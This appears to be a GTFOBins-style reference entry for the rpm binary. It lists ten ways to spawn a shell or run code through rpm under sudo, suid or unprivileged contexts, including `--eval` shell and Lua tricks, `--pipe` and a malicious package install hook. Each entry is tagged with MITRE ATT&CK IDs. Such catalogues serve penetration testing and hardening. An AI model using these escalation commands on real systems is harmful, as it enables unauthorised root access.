GTFO · Tool

rpm

10 techniques LinuxGTFOBins GPL-3.0

command

ExecutionPrivilege Escalation Linux

Generate the RPM package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` echo /path/to/command >x.sh fpm -n x -s dir -t rpm -a all --before-install x.sh . ```

rpm -ivh x-1.0-1.noarch.rpm

Context: sudo
Native: command
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/rpm/

inherit ← lua

Reverse/Bind ShellFile DownloadFile ReadFile WriteExecutionFile UploadPrivilege Escalation Linux

This allows to run Lua code (`...`).

rpm --eval '%{lua:...}'

Context: sudo
Native: inherit, from:lua
MITRE: T1059 T1071 T1105 T1005 T1565 T1041
Refs: gtfobins.github.io/gtfobins/rpm/

inherit ← lua

Reverse/Bind ShellFile DownloadFile ReadFile WriteExecutionFile UploadPrivilege Escalation Linux

This allows to run Lua code (`...`).

rpm --eval '%{lua:...}'

Context: suid
Native: inherit, from:lua
MITRE: T1059 T1071 T1105 T1005 T1565 T1041
Refs: gtfobins.github.io/gtfobins/rpm/

inherit ← lua

Reverse/Bind ShellFile DownloadFile ReadFile WriteExecutionFile Upload Linux

This allows to run Lua code (`...`).

rpm --eval '%{lua:...}'

Context: unprivileged
Native: inherit, from:lua
MITRE: T1059 T1071 T1105 T1005 T1565 T1041
Refs: gtfobins.github.io/gtfobins/rpm/

shell

ExecutionPrivilege Escalation Linux

rpm --eval '%(/bin/sh 1>&2)'

Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/rpm/

shell

ExecutionPrivilege Escalation Linux

rpm --eval '%(/bin/sh 1>&2)'

Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/rpm/

shell

Execution Linux

rpm --eval '%(/bin/sh 1>&2)'

Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/rpm/

shell

ExecutionPrivilege Escalation Linux

rpm --pipe '/bin/sh 0<&1'

Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/rpm/

shell

ExecutionPrivilege Escalation Linux

rpm --pipe '/bin/sh 0<&1'

Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/rpm/

shell

Execution Linux

rpm --pipe '/bin/sh 0<&1'

Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/rpm/